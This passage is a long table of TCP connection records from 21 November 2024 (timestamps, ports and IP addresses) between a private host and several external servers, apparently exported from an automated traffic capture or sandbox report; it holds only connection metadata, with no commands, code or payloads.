Nov 21, 2024 22:05:01.868036985 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:05:01.868086100 CET	49819	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:05:01.868673086 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:05:01.868684053 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:05:01.868722916 CET	49819	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:05:01.869548082 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:05:01.869596958 CET	49819	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:05:01.870064020 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:05:01.870171070 CET	49819	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:05:01.870373011 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:05:01.870415926 CET	49819	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:05:01.871186018 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:05:01.871356010 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:05:01.871407986 CET	49819	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:05:01.900434017 CET	443	49921	13.107.246.63	192.168.2.7
Nov 21, 2024 22:05:01.902420044 CET	49921	443	192.168.2.7	13.107.246.63
Nov 21, 2024 22:05:01.902451038 CET	443	49921	13.107.246.63	192.168.2.7
Nov 21, 2024 22:05:01.902893066 CET	49921	443	192.168.2.7	13.107.246.63
Nov 21, 2024 22:05:01.902899981 CET	443	49921	13.107.246.63	192.168.2.7
Nov 21, 2024 22:05:01.941452980 CET	443	49922	13.107.246.40	192.168.2.7
Nov 21, 2024 22:05:01.942065954 CET	49922	443	192.168.2.7	13.107.246.40
Nov 21, 2024 22:05:01.942080975 CET	443	49922	13.107.246.40	192.168.2.7
Nov 21, 2024 22:05:01.942380905 CET	443	49922	13.107.246.40	192.168.2.7
Nov 21, 2024 22:05:01.942768097 CET	49922	443	192.168.2.7	13.107.246.40
Nov 21, 2024 22:05:01.942823887 CET	443	49922	13.107.246.40	192.168.2.7
Nov 21, 2024 22:05:01.943001986 CET	49922	443	192.168.2.7	13.107.246.40
Nov 21, 2024 22:05:01.987323999 CET	443	49922	13.107.246.40	192.168.2.7
Nov 21, 2024 22:05:01.996032000 CET	443	49914	13.107.246.63	192.168.2.7
Nov 21, 2024 22:05:01.999176979 CET	443	49914	13.107.246.63	192.168.2.7
Nov 21, 2024 22:05:01.999325037 CET	49914	443	192.168.2.7	13.107.246.63
Nov 21, 2024 22:05:02.000402927 CET	49931	443	192.168.2.7	23.219.82.49
Nov 21, 2024 22:05:02.000433922 CET	443	49931	23.219.82.49	192.168.2.7
Nov 21, 2024 22:05:02.000605106 CET	49931	443	192.168.2.7	23.219.82.49
Nov 21, 2024 22:05:02.000808001 CET	49932	443	192.168.2.7	23.219.82.49
Nov 21, 2024 22:05:02.000839949 CET	443	49932	23.219.82.49	192.168.2.7
Nov 21, 2024 22:05:02.001033068 CET	49931	443	192.168.2.7	23.219.82.49
Nov 21, 2024 22:05:02.001041889 CET	443	49931	23.219.82.49	192.168.2.7
Nov 21, 2024 22:05:02.001056910 CET	49932	443	192.168.2.7	23.219.82.49
Nov 21, 2024 22:05:02.001435041 CET	49932	443	192.168.2.7	23.219.82.49
Nov 21, 2024 22:05:02.001446962 CET	443	49932	23.219.82.49	192.168.2.7
Nov 21, 2024 22:05:02.003426075 CET	49933	443	192.168.2.7	204.79.197.219
Nov 21, 2024 22:05:02.003452063 CET	443	49933	204.79.197.219	192.168.2.7
Nov 21, 2024 22:05:02.003496885 CET	49933	443	192.168.2.7	204.79.197.219
Nov 21, 2024 22:05:02.003664017 CET	49933	443	192.168.2.7	204.79.197.219
Nov 21, 2024 22:05:02.003669024 CET	443	49933	204.79.197.219	192.168.2.7
Nov 21, 2024 22:05:02.003917933 CET	49934	443	192.168.2.7	204.79.197.219
Nov 21, 2024 22:05:02.003928900 CET	443	49934	204.79.197.219	192.168.2.7
Nov 21, 2024 22:05:02.006267071 CET	49934	443	192.168.2.7	204.79.197.219
Nov 21, 2024 22:05:02.006424904 CET	49934	443	192.168.2.7	204.79.197.219
Nov 21, 2024 22:05:02.006432056 CET	443	49934	204.79.197.219	192.168.2.7
Nov 21, 2024 22:05:02.014579058 CET	49914	443	192.168.2.7	13.107.246.63
Nov 21, 2024 22:05:02.014579058 CET	49914	443	192.168.2.7	13.107.246.63
Nov 21, 2024 22:05:02.014591932 CET	443	49914	13.107.246.63	192.168.2.7
Nov 21, 2024 22:05:02.014600992 CET	443	49914	13.107.246.63	192.168.2.7
Nov 21, 2024 22:05:02.017647982 CET	49935	443	192.168.2.7	13.107.246.63
Nov 21, 2024 22:05:02.017682076 CET	443	49935	13.107.246.63	192.168.2.7
Nov 21, 2024 22:05:02.017827034 CET	49935	443	192.168.2.7	13.107.246.63
Nov 21, 2024 22:05:02.018115997 CET	49935	443	192.168.2.7	13.107.246.63
Nov 21, 2024 22:05:02.018127918 CET	443	49935	13.107.246.63	192.168.2.7
Nov 21, 2024 22:05:02.027682066 CET	443	49923	13.107.246.40	192.168.2.7
Nov 21, 2024 22:05:02.028237104 CET	49923	443	192.168.2.7	13.107.246.40
Nov 21, 2024 22:05:02.028247118 CET	443	49923	13.107.246.40	192.168.2.7
Nov 21, 2024 22:05:02.028601885 CET	443	49923	13.107.246.40	192.168.2.7
Nov 21, 2024 22:05:02.029084921 CET	49923	443	192.168.2.7	13.107.246.40
Nov 21, 2024 22:05:02.029123068 CET	49923	443	192.168.2.7	13.107.246.40
Nov 21, 2024 22:05:02.029156923 CET	443	49923	13.107.246.40	192.168.2.7
Nov 21, 2024 22:05:02.065732956 CET	443	49924	13.107.246.63	192.168.2.7
Nov 21, 2024 22:05:02.068751097 CET	49923	443	192.168.2.7	13.107.246.40
Nov 21, 2024 22:05:02.098536015 CET	49924	443	192.168.2.7	13.107.246.63
Nov 21, 2024 22:05:02.098565102 CET	443	49924	13.107.246.63	192.168.2.7
Nov 21, 2024 22:05:02.098993063 CET	49924	443	192.168.2.7	13.107.246.63
Nov 21, 2024 22:05:02.099000931 CET	443	49924	13.107.246.63	192.168.2.7
Nov 21, 2024 22:05:02.344638109 CET	49936	443	192.168.2.7	23.219.82.90
Nov 21, 2024 22:05:02.344670057 CET	443	49936	23.219.82.90	192.168.2.7
Nov 21, 2024 22:05:02.345088005 CET	49936	443	192.168.2.7	23.219.82.90
Nov 21, 2024 22:05:02.345395088 CET	443	49927	3.168.102.127	192.168.2.7
Nov 21, 2024 22:05:02.345417023 CET	49936	443	192.168.2.7	23.219.82.90
Nov 21, 2024 22:05:02.345427990 CET	443	49936	23.219.82.90	192.168.2.7
Nov 21, 2024 22:05:02.348350048 CET	49927	443	192.168.2.7	3.168.102.127
Nov 21, 2024 22:05:02.348364115 CET	443	49927	3.168.102.127	192.168.2.7
Nov 21, 2024 22:05:02.348754883 CET	443	49927	3.168.102.127	192.168.2.7
Nov 21, 2024 22:05:02.349632025 CET	49927	443	192.168.2.7	3.168.102.127
Nov 21, 2024 22:05:02.349855900 CET	443	49927	3.168.102.127	192.168.2.7
Nov 21, 2024 22:05:02.349946022 CET	49927	443	192.168.2.7	3.168.102.127
Nov 21, 2024 22:05:02.379853010 CET	443	49921	13.107.246.63	192.168.2.7
Nov 21, 2024 22:05:02.382581949 CET	443	49921	13.107.246.63	192.168.2.7
Nov 21, 2024 22:05:02.382644892 CET	49921	443	192.168.2.7	13.107.246.63
Nov 21, 2024 22:05:02.382707119 CET	49921	443	192.168.2.7	13.107.246.63
Nov 21, 2024 22:05:02.382730007 CET	443	49921	13.107.246.63	192.168.2.7
Nov 21, 2024 22:05:02.382741928 CET	49921	443	192.168.2.7	13.107.246.63
Nov 21, 2024 22:05:02.382755041 CET	443	49921	13.107.246.63	192.168.2.7
Nov 21, 2024 22:05:02.391861916 CET	49937	443	192.168.2.7	13.107.246.63
Nov 21, 2024 22:05:02.391897917 CET	443	49937	13.107.246.63	192.168.2.7
Nov 21, 2024 22:05:02.392323017 CET	49937	443	192.168.2.7	13.107.246.63
Nov 21, 2024 22:05:02.393166065 CET	49937	443	192.168.2.7	13.107.246.63
Nov 21, 2024 22:05:02.393182993 CET	443	49937	13.107.246.63	192.168.2.7
Nov 21, 2024 22:05:02.395333052 CET	443	49927	3.168.102.127	192.168.2.7
Nov 21, 2024 22:05:02.410161018 CET	443	49925	13.107.246.63	192.168.2.7
Nov 21, 2024 22:05:02.410921097 CET	49925	443	192.168.2.7	13.107.246.63
Nov 21, 2024 22:05:02.410948038 CET	443	49925	13.107.246.63	192.168.2.7
Nov 21, 2024 22:05:02.411504030 CET	49925	443	192.168.2.7	13.107.246.63
Nov 21, 2024 22:05:02.411509991 CET	443	49925	13.107.246.63	192.168.2.7
Nov 21, 2024 22:05:02.433612108 CET	443	49926	13.107.246.63	192.168.2.7
Nov 21, 2024 22:05:02.434231997 CET	49926	443	192.168.2.7	13.107.246.63
Nov 21, 2024 22:05:02.434264898 CET	443	49926	13.107.246.63	192.168.2.7
Nov 21, 2024 22:05:02.435079098 CET	49926	443	192.168.2.7	13.107.246.63
Nov 21, 2024 22:05:02.435090065 CET	443	49926	13.107.246.63	192.168.2.7
Nov 21, 2024 22:05:02.492491007 CET	443	49923	13.107.246.40	192.168.2.7
Nov 21, 2024 22:05:02.492513895 CET	443	49923	13.107.246.40	192.168.2.7
Nov 21, 2024 22:05:02.492563009 CET	49923	443	192.168.2.7	13.107.246.40
Nov 21, 2024 22:05:02.492583990 CET	443	49923	13.107.246.40	192.168.2.7
Nov 21, 2024 22:05:02.495704889 CET	443	49923	13.107.246.40	192.168.2.7
Nov 21, 2024 22:05:02.495748043 CET	49923	443	192.168.2.7	13.107.246.40
Nov 21, 2024 22:05:02.500205040 CET	49923	443	192.168.2.7	13.107.246.40
Nov 21, 2024 22:05:02.500224113 CET	443	49923	13.107.246.40	192.168.2.7
Nov 21, 2024 22:05:02.500314951 CET	49923	443	192.168.2.7	13.107.246.40
Nov 21, 2024 22:05:02.500333071 CET	49923	443	192.168.2.7	13.107.246.40
Nov 21, 2024 22:05:02.516745090 CET	443	49924	13.107.246.63	192.168.2.7
Nov 21, 2024 22:05:02.519334078 CET	443	49924	13.107.246.63	192.168.2.7
Nov 21, 2024 22:05:02.519380093 CET	49924	443	192.168.2.7	13.107.246.63
Nov 21, 2024 22:05:02.521681070 CET	49924	443	192.168.2.7	13.107.246.63
Nov 21, 2024 22:05:02.521693945 CET	443	49924	13.107.246.63	192.168.2.7
Nov 21, 2024 22:05:02.521707058 CET	49924	443	192.168.2.7	13.107.246.63
Nov 21, 2024 22:05:02.521711111 CET	443	49924	13.107.246.63	192.168.2.7
Nov 21, 2024 22:05:02.525219917 CET	49938	443	192.168.2.7	13.107.246.63
Nov 21, 2024 22:05:02.525257111 CET	443	49938	13.107.246.63	192.168.2.7
Nov 21, 2024 22:05:02.525624037 CET	49938	443	192.168.2.7	13.107.246.63
Nov 21, 2024 22:05:02.533502102 CET	49938	443	192.168.2.7	13.107.246.63
Nov 21, 2024 22:05:02.533521891 CET	443	49938	13.107.246.63	192.168.2.7
Nov 21, 2024 22:05:02.572419882 CET	49819	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:05:02.572494030 CET	49819	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:05:02.691883087 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:05:02.692092896 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:05:02.770569086 CET	443	49922	13.107.246.40	192.168.2.7
Nov 21, 2024 22:05:02.773401976 CET	443	49922	13.107.246.40	192.168.2.7
Nov 21, 2024 22:05:02.773597956 CET	49922	443	192.168.2.7	13.107.246.40
Nov 21, 2024 22:05:02.800010920 CET	49922	443	192.168.2.7	13.107.246.40
Nov 21, 2024 22:05:02.800030947 CET	443	49922	13.107.246.40	192.168.2.7
Nov 21, 2024 22:05:02.809315920 CET	443	49927	3.168.102.127	192.168.2.7
Nov 21, 2024 22:05:02.809506893 CET	443	49927	3.168.102.127	192.168.2.7
Nov 21, 2024 22:05:02.809587002 CET	49927	443	192.168.2.7	3.168.102.127
Nov 21, 2024 22:05:02.818932056 CET	49927	443	192.168.2.7	3.168.102.127
Nov 21, 2024 22:05:02.818943977 CET	443	49927	3.168.102.127	192.168.2.7
Nov 21, 2024 22:05:02.863385916 CET	443	49925	13.107.246.63	192.168.2.7
Nov 21, 2024 22:05:02.866535902 CET	443	49925	13.107.246.63	192.168.2.7
Nov 21, 2024 22:05:02.866609097 CET	443	49925	13.107.246.63	192.168.2.7
Nov 21, 2024 22:05:02.866616011 CET	49925	443	192.168.2.7	13.107.246.63
Nov 21, 2024 22:05:02.866658926 CET	49925	443	192.168.2.7	13.107.246.63
Nov 21, 2024 22:05:02.871076107 CET	49925	443	192.168.2.7	13.107.246.63
Nov 21, 2024 22:05:02.871114969 CET	443	49925	13.107.246.63	192.168.2.7
Nov 21, 2024 22:05:02.871141911 CET	49925	443	192.168.2.7	13.107.246.63
Nov 21, 2024 22:05:02.871159077 CET	443	49925	13.107.246.63	192.168.2.7
Nov 21, 2024 22:05:02.877850056 CET	49939	443	192.168.2.7	13.107.246.63
Nov 21, 2024 22:05:02.877880096 CET	443	49939	13.107.246.63	192.168.2.7
Nov 21, 2024 22:05:02.877957106 CET	49939	443	192.168.2.7	13.107.246.63
Nov 21, 2024 22:05:02.878249884 CET	49939	443	192.168.2.7	13.107.246.63
Nov 21, 2024 22:05:02.878257036 CET	443	49939	13.107.246.63	192.168.2.7
Nov 21, 2024 22:05:02.878825903 CET	443	49926	13.107.246.63	192.168.2.7
Nov 21, 2024 22:05:02.882004976 CET	443	49926	13.107.246.63	192.168.2.7
Nov 21, 2024 22:05:02.882072926 CET	49926	443	192.168.2.7	13.107.246.63
Nov 21, 2024 22:05:02.884155035 CET	49926	443	192.168.2.7	13.107.246.63
Nov 21, 2024 22:05:02.884166002 CET	443	49926	13.107.246.63	192.168.2.7
Nov 21, 2024 22:05:02.884176970 CET	49926	443	192.168.2.7	13.107.246.63
Nov 21, 2024 22:05:02.884181023 CET	443	49926	13.107.246.63	192.168.2.7
Nov 21, 2024 22:05:02.892436981 CET	49940	443	192.168.2.7	13.107.246.63
Nov 21, 2024 22:05:02.892488956 CET	443	49940	13.107.246.63	192.168.2.7
Nov 21, 2024 22:05:02.892616034 CET	49940	443	192.168.2.7	13.107.246.63
Nov 21, 2024 22:05:02.895348072 CET	49940	443	192.168.2.7	13.107.246.63
Nov 21, 2024 22:05:02.895366907 CET	443	49940	13.107.246.63	192.168.2.7
Nov 21, 2024 22:05:02.902095079 CET	443	49928	20.190.177.23	192.168.2.7
Nov 21, 2024 22:05:02.912656069 CET	49928	443	192.168.2.7	20.190.177.23
Nov 21, 2024 22:05:02.912684917 CET	443	49928	20.190.177.23	192.168.2.7
Nov 21, 2024 22:05:02.914372921 CET	49928	443	192.168.2.7	20.190.177.23
Nov 21, 2024 22:05:02.914385080 CET	443	49928	20.190.177.23	192.168.2.7
Nov 21, 2024 22:05:02.914412022 CET	49928	443	192.168.2.7	20.190.177.23
Nov 21, 2024 22:05:02.914417982 CET	443	49928	20.190.177.23	192.168.2.7
Nov 21, 2024 22:05:03.142851114 CET	443	49930	20.99.185.48	192.168.2.7
Nov 21, 2024 22:05:03.156682968 CET	49930	443	192.168.2.7	20.99.185.48
Nov 21, 2024 22:05:03.156692028 CET	443	49930	20.99.185.48	192.168.2.7
Nov 21, 2024 22:05:03.157310963 CET	443	49930	20.99.185.48	192.168.2.7
Nov 21, 2024 22:05:03.157726049 CET	49930	443	192.168.2.7	20.99.185.48
Nov 21, 2024 22:05:03.157800913 CET	443	49930	20.99.185.48	192.168.2.7
Nov 21, 2024 22:05:03.158016920 CET	49930	443	192.168.2.7	20.99.185.48
Nov 21, 2024 22:05:03.199328899 CET	443	49930	20.99.185.48	192.168.2.7
Nov 21, 2024 22:05:03.268235922 CET	49941	443	192.168.2.7	20.110.205.119
Nov 21, 2024 22:05:03.268312931 CET	443	49941	20.110.205.119	192.168.2.7
Nov 21, 2024 22:05:03.268382072 CET	49941	443	192.168.2.7	20.110.205.119
Nov 21, 2024 22:05:03.282675982 CET	49941	443	192.168.2.7	20.110.205.119
Nov 21, 2024 22:05:03.282711983 CET	443	49941	20.110.205.119	192.168.2.7
Nov 21, 2024 22:05:03.292603016 CET	443	49931	23.219.82.49	192.168.2.7
Nov 21, 2024 22:05:03.292783976 CET	443	49932	23.219.82.49	192.168.2.7
Nov 21, 2024 22:05:03.292953968 CET	49931	443	192.168.2.7	23.219.82.49
Nov 21, 2024 22:05:03.292963028 CET	443	49931	23.219.82.49	192.168.2.7
Nov 21, 2024 22:05:03.293112040 CET	49932	443	192.168.2.7	23.219.82.49
Nov 21, 2024 22:05:03.293118954 CET	443	49932	23.219.82.49	192.168.2.7
Nov 21, 2024 22:05:03.294105053 CET	443	49931	23.219.82.49	192.168.2.7
Nov 21, 2024 22:05:03.294161081 CET	49931	443	192.168.2.7	23.219.82.49
Nov 21, 2024 22:05:03.294250965 CET	443	49932	23.219.82.49	192.168.2.7
Nov 21, 2024 22:05:03.294301987 CET	49932	443	192.168.2.7	23.219.82.49
Nov 21, 2024 22:05:03.295955896 CET	49931	443	192.168.2.7	23.219.82.49
Nov 21, 2024 22:05:03.296055079 CET	443	49931	23.219.82.49	192.168.2.7
Nov 21, 2024 22:05:03.296231985 CET	49932	443	192.168.2.7	23.219.82.49
Nov 21, 2024 22:05:03.296319008 CET	443	49932	23.219.82.49	192.168.2.7
Nov 21, 2024 22:05:03.338484049 CET	49931	443	192.168.2.7	23.219.82.49
Nov 21, 2024 22:05:03.338490963 CET	443	49931	23.219.82.49	192.168.2.7
Nov 21, 2024 22:05:03.338522911 CET	49932	443	192.168.2.7	23.219.82.49
Nov 21, 2024 22:05:03.338537931 CET	443	49932	23.219.82.49	192.168.2.7
Nov 21, 2024 22:05:03.388963938 CET	49931	443	192.168.2.7	23.219.82.49
Nov 21, 2024 22:05:03.389038086 CET	49932	443	192.168.2.7	23.219.82.49
Nov 21, 2024 22:05:03.519996881 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:05:03.520067930 CET	49819	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:05:03.555800915 CET	443	49936	23.219.82.90	192.168.2.7
Nov 21, 2024 22:05:03.556109905 CET	49936	443	192.168.2.7	23.219.82.90
Nov 21, 2024 22:05:03.556121111 CET	443	49936	23.219.82.90	192.168.2.7
Nov 21, 2024 22:05:03.557173967 CET	443	49936	23.219.82.90	192.168.2.7
Nov 21, 2024 22:05:03.557296991 CET	49936	443	192.168.2.7	23.219.82.90
Nov 21, 2024 22:05:03.558682919 CET	49936	443	192.168.2.7	23.219.82.90
Nov 21, 2024 22:05:03.558751106 CET	443	49936	23.219.82.90	192.168.2.7
Nov 21, 2024 22:05:03.588109970 CET	49819	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:05:03.607711077 CET	49936	443	192.168.2.7	23.219.82.90
Nov 21, 2024 22:05:03.607718945 CET	443	49936	23.219.82.90	192.168.2.7
Nov 21, 2024 22:05:03.634763002 CET	443	49933	204.79.197.219	192.168.2.7
Nov 21, 2024 22:05:03.635066032 CET	49933	443	192.168.2.7	204.79.197.219
Nov 21, 2024 22:05:03.635090113 CET	443	49933	204.79.197.219	192.168.2.7
Nov 21, 2024 22:05:03.636149883 CET	443	49933	204.79.197.219	192.168.2.7
Nov 21, 2024 22:05:03.636238098 CET	49933	443	192.168.2.7	204.79.197.219
Nov 21, 2024 22:05:03.637367964 CET	49933	443	192.168.2.7	204.79.197.219
Nov 21, 2024 22:05:03.637456894 CET	443	49933	204.79.197.219	192.168.2.7
Nov 21, 2024 22:05:03.643292904 CET	443	49934	204.79.197.219	192.168.2.7
Nov 21, 2024 22:05:03.643563986 CET	49934	443	192.168.2.7	204.79.197.219
Nov 21, 2024 22:05:03.643574953 CET	443	49934	204.79.197.219	192.168.2.7
Nov 21, 2024 22:05:03.644633055 CET	443	49934	204.79.197.219	192.168.2.7
Nov 21, 2024 22:05:03.644717932 CET	49934	443	192.168.2.7	204.79.197.219
Nov 21, 2024 22:05:03.645714998 CET	49934	443	192.168.2.7	204.79.197.219
Nov 21, 2024 22:05:03.645792007 CET	443	49934	204.79.197.219	192.168.2.7
Nov 21, 2024 22:05:03.654633045 CET	49936	443	192.168.2.7	23.219.82.90
Nov 21, 2024 22:05:03.685828924 CET	49934	443	192.168.2.7	204.79.197.219
Nov 21, 2024 22:05:03.685832024 CET	49933	443	192.168.2.7	204.79.197.219
Nov 21, 2024 22:05:03.685846090 CET	443	49934	204.79.197.219	192.168.2.7
Nov 21, 2024 22:05:03.685858011 CET	443	49933	204.79.197.219	192.168.2.7
Nov 21, 2024 22:05:03.690865040 CET	443	49928	20.190.177.23	192.168.2.7
Nov 21, 2024 22:05:03.690892935 CET	443	49928	20.190.177.23	192.168.2.7
Nov 21, 2024 22:05:03.690938950 CET	443	49928	20.190.177.23	192.168.2.7
Nov 21, 2024 22:05:03.690948963 CET	49928	443	192.168.2.7	20.190.177.23
Nov 21, 2024 22:05:03.690960884 CET	443	49928	20.190.177.23	192.168.2.7
Nov 21, 2024 22:05:03.691008091 CET	49928	443	192.168.2.7	20.190.177.23
Nov 21, 2024 22:05:03.696013927 CET	49928	443	192.168.2.7	20.190.177.23
Nov 21, 2024 22:05:03.696018934 CET	443	49928	20.190.177.23	192.168.2.7
Nov 21, 2024 22:05:03.696054935 CET	49928	443	192.168.2.7	20.190.177.23
Nov 21, 2024 22:05:03.696305037 CET	443	49928	20.190.177.23	192.168.2.7
Nov 21, 2024 22:05:03.696353912 CET	443	49928	20.190.177.23	192.168.2.7
Nov 21, 2024 22:05:03.696410894 CET	49928	443	192.168.2.7	20.190.177.23
Nov 21, 2024 22:05:03.708353043 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:05:03.725676060 CET	443	49930	20.99.185.48	192.168.2.7
Nov 21, 2024 22:05:03.725702047 CET	443	49930	20.99.185.48	192.168.2.7
Nov 21, 2024 22:05:03.725805998 CET	49930	443	192.168.2.7	20.99.185.48
Nov 21, 2024 22:05:03.725806952 CET	443	49930	20.99.185.48	192.168.2.7
Nov 21, 2024 22:05:03.725965977 CET	49930	443	192.168.2.7	20.99.185.48
Nov 21, 2024 22:05:03.728401899 CET	49930	443	192.168.2.7	20.99.185.48
Nov 21, 2024 22:05:03.728430033 CET	443	49930	20.99.185.48	192.168.2.7
Nov 21, 2024 22:05:03.734702110 CET	49942	443	192.168.2.7	23.44.133.11
Nov 21, 2024 22:05:03.734741926 CET	443	49942	23.44.133.11	192.168.2.7
Nov 21, 2024 22:05:03.735147953 CET	49942	443	192.168.2.7	23.44.133.11
Nov 21, 2024 22:05:03.735368967 CET	49943	443	192.168.2.7	23.44.133.11
Nov 21, 2024 22:05:03.735388994 CET	443	49943	23.44.133.11	192.168.2.7
Nov 21, 2024 22:05:03.735445023 CET	49943	443	192.168.2.7	23.44.133.11
Nov 21, 2024 22:05:03.736011982 CET	49942	443	192.168.2.7	23.44.133.11
Nov 21, 2024 22:05:03.736032963 CET	443	49942	23.44.133.11	192.168.2.7
Nov 21, 2024 22:05:03.736196041 CET	49943	443	192.168.2.7	23.44.133.11
Nov 21, 2024 22:05:03.736208916 CET	443	49943	23.44.133.11	192.168.2.7
Nov 21, 2024 22:05:03.744680882 CET	49933	443	192.168.2.7	204.79.197.219
Nov 21, 2024 22:05:03.744721889 CET	49934	443	192.168.2.7	204.79.197.219
Nov 21, 2024 22:05:03.768333912 CET	49944	443	192.168.2.7	23.44.133.11
Nov 21, 2024 22:05:03.768373013 CET	443	49944	23.44.133.11	192.168.2.7
Nov 21, 2024 22:05:03.768961906 CET	49944	443	192.168.2.7	23.44.133.11
Nov 21, 2024 22:05:03.769114017 CET	49944	443	192.168.2.7	23.44.133.11
Nov 21, 2024 22:05:03.769120932 CET	443	49944	23.44.133.11	192.168.2.7
Nov 21, 2024 22:05:03.808054924 CET	49945	443	192.168.2.7	20.190.177.23
Nov 21, 2024 22:05:03.808094025 CET	443	49945	20.190.177.23	192.168.2.7
Nov 21, 2024 22:05:03.808254957 CET	49945	443	192.168.2.7	20.190.177.23
Nov 21, 2024 22:05:03.808490038 CET	49945	443	192.168.2.7	20.190.177.23
Nov 21, 2024 22:05:03.808509111 CET	443	49945	20.190.177.23	192.168.2.7
Nov 21, 2024 22:05:03.916141033 CET	443	49935	13.107.246.63	192.168.2.7
Nov 21, 2024 22:05:03.916749954 CET	49935	443	192.168.2.7	13.107.246.63
Nov 21, 2024 22:05:03.916779041 CET	443	49935	13.107.246.63	192.168.2.7
Nov 21, 2024 22:05:03.917299986 CET	49935	443	192.168.2.7	13.107.246.63
Nov 21, 2024 22:05:03.917309046 CET	443	49935	13.107.246.63	192.168.2.7
Nov 21, 2024 22:05:04.037587881 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:05:04.037672997 CET	49819	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:05:04.037700891 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:05:04.037750959 CET	49819	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:05:04.134130955 CET	443	49937	13.107.246.63	192.168.2.7
Nov 21, 2024 22:05:04.138446093 CET	49937	443	192.168.2.7	13.107.246.63
Nov 21, 2024 22:05:04.138456106 CET	443	49937	13.107.246.63	192.168.2.7
Nov 21, 2024 22:05:04.141293049 CET	49937	443	192.168.2.7	13.107.246.63
Nov 21, 2024 22:05:04.141303062 CET	443	49937	13.107.246.63	192.168.2.7
Nov 21, 2024 22:05:04.229312897 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:05:04.229371071 CET	49819	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:05:04.229589939 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:05:04.229634047 CET	49819	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:05:04.269064903 CET	49819	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:05:04.324526072 CET	443	49938	13.107.246.63	192.168.2.7
Nov 21, 2024 22:05:04.325644016 CET	49938	443	192.168.2.7	13.107.246.63
Nov 21, 2024 22:05:04.325666904 CET	443	49938	13.107.246.63	192.168.2.7
Nov 21, 2024 22:05:04.326592922 CET	49938	443	192.168.2.7	13.107.246.63
Nov 21, 2024 22:05:04.326597929 CET	443	49938	13.107.246.63	192.168.2.7
Nov 21, 2024 22:05:04.370445967 CET	443	49935	13.107.246.63	192.168.2.7
Nov 21, 2024 22:05:04.373538017 CET	443	49935	13.107.246.63	192.168.2.7
Nov 21, 2024 22:05:04.373596907 CET	49935	443	192.168.2.7	13.107.246.63
Nov 21, 2024 22:05:04.373677015 CET	49935	443	192.168.2.7	13.107.246.63
Nov 21, 2024 22:05:04.373698950 CET	443	49935	13.107.246.63	192.168.2.7
Nov 21, 2024 22:05:04.373713017 CET	49935	443	192.168.2.7	13.107.246.63
Nov 21, 2024 22:05:04.373720884 CET	443	49935	13.107.246.63	192.168.2.7
Nov 21, 2024 22:05:04.377358913 CET	49946	443	192.168.2.7	13.107.246.63
Nov 21, 2024 22:05:04.377402067 CET	443	49946	13.107.246.63	192.168.2.7
Nov 21, 2024 22:05:04.377476931 CET	49946	443	192.168.2.7	13.107.246.63
Nov 21, 2024 22:05:04.377707005 CET	49946	443	192.168.2.7	13.107.246.63
Nov 21, 2024 22:05:04.377720118 CET	443	49946	13.107.246.63	192.168.2.7
Nov 21, 2024 22:05:04.388614893 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:05:04.571710110 CET	443	49937	13.107.246.63	192.168.2.7
Nov 21, 2024 22:05:04.574421883 CET	443	49937	13.107.246.63	192.168.2.7
Nov 21, 2024 22:05:04.574522018 CET	49937	443	192.168.2.7	13.107.246.63
Nov 21, 2024 22:05:04.574522018 CET	49937	443	192.168.2.7	13.107.246.63
Nov 21, 2024 22:05:04.574554920 CET	49937	443	192.168.2.7	13.107.246.63
Nov 21, 2024 22:05:04.574568987 CET	443	49937	13.107.246.63	192.168.2.7
Nov 21, 2024 22:05:04.577765942 CET	49947	443	192.168.2.7	13.107.246.63
Nov 21, 2024 22:05:04.577788115 CET	443	49947	13.107.246.63	192.168.2.7
Nov 21, 2024 22:05:04.578111887 CET	49947	443	192.168.2.7	13.107.246.63
Nov 21, 2024 22:05:04.578238964 CET	49947	443	192.168.2.7	13.107.246.63
Nov 21, 2024 22:05:04.578250885 CET	443	49947	13.107.246.63	192.168.2.7
Nov 21, 2024 22:05:04.639734030 CET	443	49940	13.107.246.63	192.168.2.7
Nov 21, 2024 22:05:04.640201092 CET	49940	443	192.168.2.7	13.107.246.63
Nov 21, 2024 22:05:04.640222073 CET	443	49940	13.107.246.63	192.168.2.7
Nov 21, 2024 22:05:04.640685081 CET	49940	443	192.168.2.7	13.107.246.63
Nov 21, 2024 22:05:04.640690088 CET	443	49940	13.107.246.63	192.168.2.7
Nov 21, 2024 22:05:04.702090025 CET	443	49939	13.107.246.63	192.168.2.7
Nov 21, 2024 22:05:04.702552080 CET	49939	443	192.168.2.7	13.107.246.63
Nov 21, 2024 22:05:04.702559948 CET	443	49939	13.107.246.63	192.168.2.7
Nov 21, 2024 22:05:04.703062057 CET	49939	443	192.168.2.7	13.107.246.63
Nov 21, 2024 22:05:04.703067064 CET	443	49939	13.107.246.63	192.168.2.7
